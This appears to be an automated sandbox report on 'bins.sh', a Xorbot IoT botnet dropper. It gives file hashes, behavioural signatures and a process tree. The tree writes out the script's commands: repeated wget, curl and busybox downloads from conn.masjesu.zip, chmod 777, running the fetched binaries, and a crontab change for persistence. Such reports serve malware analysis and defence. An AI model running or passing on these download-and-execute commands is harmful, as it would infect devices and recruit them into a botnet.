Analysis

  • max time kernel
    137s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/02/2025, 11:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1c04224c31369b92267e0f914de6faa7

  • SHA1

    a83724c5b8610fae0d070df43be47b501af8c44b

  • SHA256

    27e10f92af7087a71e53ea4397ca1048fae7141974622a595a9fc358c187cd8f

  • SHA512

    f84f0a3d4f25e30aa0b396a8212e44194c1787f5af184c2a20ded76d3b1dc36e52a38c1c8c16ea6d5263807375dbc8fdfc92de6b4f116b68f16650655288b542

  • SSDEEP

    96:YjvjDjZLwsIL8AjnqinuOCaELKCsHA82U99vLv+vuvBGjm9gcSLwsFQMuBSBqBqs:S4H7qAKosvdGrDIF4

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1823) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 14 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:713
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:715
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:732
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:741
      • /bin/chmod
        chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
          PID:744
        • /bin/rm
          rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • System Network Configuration Discovery
            PID:750
          • /bin/chmod
            chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • File and Directory Permissions Modification
            PID:793
          • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:794
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:797
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:798
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:799
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:801
                • /bin/rm
                  rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                  2⤵
                    PID:804
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    2⤵
                    • System Network Configuration Discovery
                    PID:807
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    2⤵
                    • System Network Configuration Discovery
                    PID:808
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    2⤵
                    • System Network Configuration Discovery
                    PID:809
                  • /bin/chmod
                    chmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:810
                  • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    ./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                    2⤵
                      PID:811
                    • /bin/rm
                      rm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                      2⤵
                        PID:812
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        2⤵
                        • System Network Configuration Discovery
                        PID:813
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        2⤵
                        • System Network Configuration Discovery
                        PID:814
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        2⤵
                        • System Network Configuration Discovery
                        PID:815
                      • /bin/chmod
                        chmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        2⤵
                        • File and Directory Permissions Modification
                        PID:836
                      • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        ./jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                        2⤵
                          PID:838
                        • /bin/rm
                          rm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                          2⤵
                            PID:840
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                            2⤵
                            • System Network Configuration Discovery
                            PID:842
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                            2⤵
                            • System Network Configuration Discovery
                            PID:846

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /var/spool/cron/crontabs/tmp.wUr44v

                          Filesize

                          210B

                          MD5

                          7b5c353c34e355b343ce13e6c5333a3e

                          SHA1

                          dccae3409f2c34ce861172b56006874dc497907b

                          SHA256

                          74164af50d783efcb1b96d3cb10cc542c5c3badc16a61f3c455055cf44177c59

                          SHA512

                          b7aa41602699602b6266350dd4dee10be34d7c8a96a191482d32cd7a3a688b9e0d42a6e205a46e3175a1e4e5fd868974ad4ad533c2a53f4ce1406a0c14bcde6f